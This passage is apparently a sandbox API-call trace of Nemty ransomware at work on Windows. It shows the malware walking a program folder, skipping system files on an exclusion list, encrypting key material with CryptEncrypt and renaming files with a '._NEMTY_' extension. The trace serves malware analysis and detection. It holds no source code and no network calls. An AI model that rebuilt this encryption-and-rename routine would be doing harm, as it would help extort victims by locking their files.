hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0066.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0066.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0066.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0066.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.001] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0066.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0066.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0066.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0066.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0066.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0066.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0066.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0066.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0066.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.002] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0066.002] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0066.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0066.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0066.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0066.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0066.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943d0 [0066.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0066.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0066.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0066.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943d0 | out: hHeap=0x4f90000) returned 1 [0066.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0066.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0066.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0066.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0066.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0066.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0066.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0066.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0066.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0066.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0066.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0066.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340110 [0066.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0066.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401e8 [0066.003] Sleep (dwMilliseconds=0x5) [0066.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdafeffb0, dwHighDateTime=0x1d561e7)) [0066.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdafeffb0, dwHighDateTime=0x1d561e7)) [0066.017] GetLastError () returned 0x5 [0066.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.017] GetLastError () returned 0x5 [0066.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.017] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0066.017] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0066.017] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0066.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402c0 [0066.017] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402c0, pcchString=0x653e91c | out: pszString="Q9ji7SJL8aaf5/3drzY4gOPkP4ne+mlsbXdU0iaht285fkTh7hu/3KzDthW5QBZi\r\nhqlVNiZZwQrCvbW9UYzxkvk16HbZqyQNEYNf0dUt6ipy3T8yvJPvtq02eMZgz4kt\r\nYumLiSzQW9aVIlAFE6RbVLMi2n8l5KPvTfTBLE900DBUbH1GAwLtWkRLDxOoD1SE\r\nRFrc15K+jjK4koVxEeTL+u0/NxcKdFJwbaLWsN1Cqqv3Q4p2nI7Ql7nL6eNootp6\r\nq4pm+W2pVI4ft94mzOc3FGi2h8qtqVhdhZiR8kgsfZTgUWGqvik6+KSSUvebW9xC\r\nnsiivfh1wLcIL618o6m5kA==\r\n", pcchString=0x653e91c) returned 1 [0066.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0066.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0066.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0066.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402c0 [0066.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0066.018] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.018] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0066.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0066.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.037] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.038] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.047] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.057] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.058] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.068] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.068] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.099] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.099] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.108] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.109] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.118] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.118] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.124] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.130] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.130] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0066.130] CloseHandle (hObject=0xffffffff) returned 0 [0066.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340430 [0066.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0066.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0066.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0066.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340508 [0066.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0066.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340508 | out: hHeap=0x4f90000) returned 1 [0066.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0066.130] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0066.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0066.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0066.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0066.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0066.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0066.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0066.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 